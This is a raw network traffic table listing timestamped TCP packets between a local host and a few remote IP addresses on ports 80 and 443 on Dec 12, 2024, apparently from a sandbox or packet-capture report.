Dec 12, 2024 14:26:59.789146900 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.789150953 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.789208889 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.789868116 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.789910078 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.789952040 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.789993048 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.790669918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.790728092 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.790765047 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.790765047 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.791596889 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.791639090 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.791711092 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.791771889 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.792450905 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.792645931 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.792685986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.792685986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.793346882 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.793358088 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.793395042 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.793411970 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.794133902 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.794204950 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.794219971 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.794260025 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.794966936 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.795033932 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.795044899 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.795089006 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.795834064 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.795874119 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.795892954 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.795933962 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.796744108 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.796791077 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.796803951 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.796863079 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.797575951 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.797625065 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.797660112 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.797702074 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.798471928 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.798506021 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.798635006 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.798680067 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.799475908 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.799520016 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.799561024 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.799607992 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.800141096 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.800196886 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.800215960 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.800257921 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.801002979 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.801065922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.801110029 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.801142931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.801852942 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.801949978 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.801986933 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.802038908 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.802895069 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.802906990 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.802931070 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.803021908 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.803677082 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.803726912 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.803764105 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.803873062 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.804522038 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.804568052 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.804573059 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.804649115 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.805304050 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.805358887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.805382013 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.805434942 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.806219101 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.806260109 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.806337118 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.806370974 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.807104111 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.807141066 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.807327986 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.807372093 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.808058977 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.808113098 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.808156013 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.808234930 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.808868885 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.808924913 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.809241056 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.809334040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.809561014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.809606075 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.809607983 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.809648037 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.810421944 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.810472012 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.810472965 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.810627937 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.811292887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.811340094 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.811386108 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.811425924 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.812186956 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.812200069 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.812232971 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.812424898 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.813025951 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.813075066 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.813085079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.813124895 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.813857079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.813915968 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.813940048 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.813977003 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.814734936 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.814783096 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.814815998 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.814851046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.815603971 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.815681934 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.815720081 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.815720081 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.816441059 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.816478014 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.816520929 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.816662073 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.817311049 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.817342997 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.817362070 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.817404985 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.818164110 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.818248987 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.818253040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.818311930 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.818988085 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.819029093 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.819421053 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.819528103 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.819943905 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.820070982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.820322990 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.820410967 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.820750952 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.820764065 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.820802927 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.821576118 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.821621895 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.876502037 CET	49884	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:59.876554012 CET	443	49884	104.21.79.7	192.168.2.4
Dec 12, 2024 14:26:59.876622915 CET	49884	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:59.877762079 CET	49884	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:26:59.877774000 CET	443	49884	104.21.79.7	192.168.2.4
Dec 12, 2024 14:26:59.962301970 CET	49877	443	192.168.2.4	149.154.167.99
Dec 12, 2024 14:26:59.962318897 CET	443	49877	149.154.167.99	192.168.2.4
Dec 12, 2024 14:26:59.968585014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.968669891 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.968672037 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.969029903 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.969072104 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.969072104 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.969118118 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.969909906 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.969950914 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.969957113 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.969957113 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.970781088 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.970822096 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.970822096 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.970907927 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.971329927 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.971550941 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.971596003 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.971769094 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.971810102 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.972497940 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.972511053 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.972547054 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.973299026 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.973335981 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.973340034 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.973340988 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.973514080 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.974205971 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.974255085 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.974262953 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.975121975 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.975166082 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.975166082 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.975543976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.975613117 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.976224899 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.976243019 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.976273060 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.977406025 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.977422953 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.977440119 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.977489948 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.977489948 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.978216887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.978235006 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.978277922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.978277922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.978986025 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.979003906 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.979059935 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.979059935 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.979994059 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.980030060 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.980066061 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.980066061 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.980993986 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.981089115 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.981127024 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.981127024 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.982048988 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.982197046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.982235909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.982235909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.983202934 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.983237028 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.983251095 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.983330965 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.983907938 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.983957052 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.984009981 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.984718084 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.984760046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.984760046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.984802961 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.985533953 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.985574007 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.985574961 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.985574961 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.986176014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.986221075 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.986222982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.986222982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.986454964 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.986953020 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.986994982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.987005949 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.987332106 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.987596989 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.987631083 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.987673044 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.987786055 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.988365889 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.988405943 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.988439083 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.989123106 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.989166975 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.989166975 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.989216089 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.989701986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.989702940 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.989764929 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.989782095 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.990449905 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.990487099 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.990487099 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.990551949 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.991336107 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.991358042 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.991370916 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.991394043 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.991729021 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.992157936 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.992198944 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.992225885 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.993046045 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.993082047 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.993082047 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.993098021 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.993511915 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.993882895 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.993921995 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.994052887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.994204044 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.994771004 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.994899988 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.994930983 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.994930983 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.995609045 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.995650053 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.996031046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.996073008 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.996581078 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.996625900 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.996663094 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.996663094 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.997570992 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.997670889 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.997709036 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.997709036 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.998275995 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.998317003 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.998403072 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.998490095 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.999043941 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.999085903 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.999140024 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.999217987 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.999908924 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.000034094 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.000073910 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.000073910 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.000708103 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.000822067 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.000927925 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.000965118 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.001727104 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.001929045 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.001966000 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.001966000 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.002605915 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.002737999 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.002775908 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.002775908 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.003489017 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.003501892 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.003534079 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.004108906 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.004206896 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.004249096 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.004345894 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.005069017 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.005108118 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.005108118 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.005151987 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.006022930 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.006040096 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.006062031 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.006062031 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.006787062 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.006834984 CET	80	49878	31.41.244.11	192.168.2.4
